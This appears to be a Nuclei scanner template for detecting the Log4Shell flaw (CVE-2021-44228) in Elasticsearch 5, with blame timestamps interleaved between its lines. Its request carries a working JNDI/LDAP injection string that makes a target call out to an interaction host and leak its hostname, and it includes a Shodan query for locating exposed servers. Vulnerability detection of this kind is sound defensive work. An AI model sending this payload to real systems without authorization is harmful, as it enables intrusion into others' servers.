2022-07-16 06:51:07 +00:00
id : elasticsearch5-log4j-rce
info :
2022-10-10 19:22:59 +00:00
name : Elasticsearch 5 - Remote Code Execution (Apache Log4j)
2022-07-16 06:51:07 +00:00
author : akincibor
severity : critical
description : |
2022-10-10 19:22:59 +00:00
Elasticsearch 5 is susceptible to remote code execution via the Apache Log4j framework. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
2022-07-16 06:51:07 +00:00
reference :
- https://www.horizon3.ai/the-long-tail-of-log4shell-exploitation/
2022-07-16 12:34:04 +00:00
- https://logging.apache.org/log4j/2.x/security.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
2022-07-16 06:51:07 +00:00
classification :
2022-10-10 20:06:39 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score : 10
2022-10-10 19:51:42 +00:00
cve-id : CVE-2021-44228
2022-10-19 21:11:27 +00:00
cwe-id : CWE-77
2022-07-16 12:34:04 +00:00
metadata :
2023-04-28 08:11:21 +00:00
max-request : 1
2023-01-15 06:48:30 +00:00
shodan-query : elastic indices
2023-06-04 08:13:42 +00:00
verified : true
2022-10-10 20:06:39 +00:00
tags : jndi,log4j,rce,oast,elasticsearch,cve,cve2021,kev
2022-07-16 06:51:07 +00:00
2023-05-03 18:21:23 +00:00
variables :
rand1 : '{{rand_int(111, 999)}}'
rand2 : '{{rand_int(111, 999)}}'
2023-04-27 04:28:59 +00:00
http :
2022-07-16 06:51:07 +00:00
- raw :
- |
2023-05-08 05:37:00 +00:00
GET /_search?a=$%7Bjndi%3Aldap%3A%2F%2F$%7B%3A-{{rand1}}%7D$%7B%3A-{{rand2}}%7D.$%7BhostName%7D.search.{{interactsh-url}}%7D HTTP/1.1
2022-07-16 06:51:07 +00:00
Host : {{Hostname}}
{
matchers-condition : and
matchers :
2023-01-11 06:23:35 +00:00
- type : word
part : body
words :
- "org.elasticsearch.transport"
2022-07-16 06:51:07 +00:00
- type : word
part : interactsh_protocol # Confirms the DNS Interaction
words :
- "dns"
- type : regex
part : interactsh_request
regex :
2023-05-03 18:21:23 +00:00
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output
2022-07-16 06:51:07 +00:00
extractors :
2022-07-16 12:34:04 +00:00
- type : kval
kval :
- interactsh_ip # Print remote interaction IP in output
2023-05-03 18:21:23 +00:00
- type : regex
part : interactsh_request
group : 2
regex :
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print injection point in output
2022-07-16 06:51:07 +00:00
- type : regex
part : interactsh_request
group : 1
regex :
2023-05-03 18:21:23 +00:00
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output